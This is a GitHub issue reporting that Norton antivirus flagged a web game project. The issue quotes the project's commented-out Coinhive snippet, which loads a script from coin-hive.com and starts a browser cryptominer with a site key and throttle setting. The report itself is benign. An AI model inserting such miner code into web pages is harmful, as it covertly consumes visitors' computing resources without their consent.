Norton detected suspicious activity -- JSCoinMiner?
adnanusman opened this issue · comments
I was going to use this in a project for my Google Scholarship project (we were going to add a service worker to it) but when we started exploring your application. A colleague of mine @franciscojgtz ended up getting alerts on Norton Antivirus:
We suspect his code in index.html may be the issue? Why is this in there anyway? (never mind.. I saw the disclaimer in the about section in the Readme.. however please note this is setting off antiviruses and really isn't ideal).
<!-- <script src="https://coin-hive.com/lib/coinhive.min.js"></script> -->
<!-- <script> -->
<!-- var miner = new CoinHive.Anonymous('W9e1JbsYTHqCwImFfAEGfJJigBCWfYv2', { -->
<!-- throttle:0.7 -->
<!-- }); -->
<!-- miner.start(); -->
<!-- </script> -->
I also found this information about JSCoinminer: https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=30303
The virus warning goes away when we remove that commented out code. I guess this can be marked as closed as we understand why that code is there now. Very nice work on this game! :)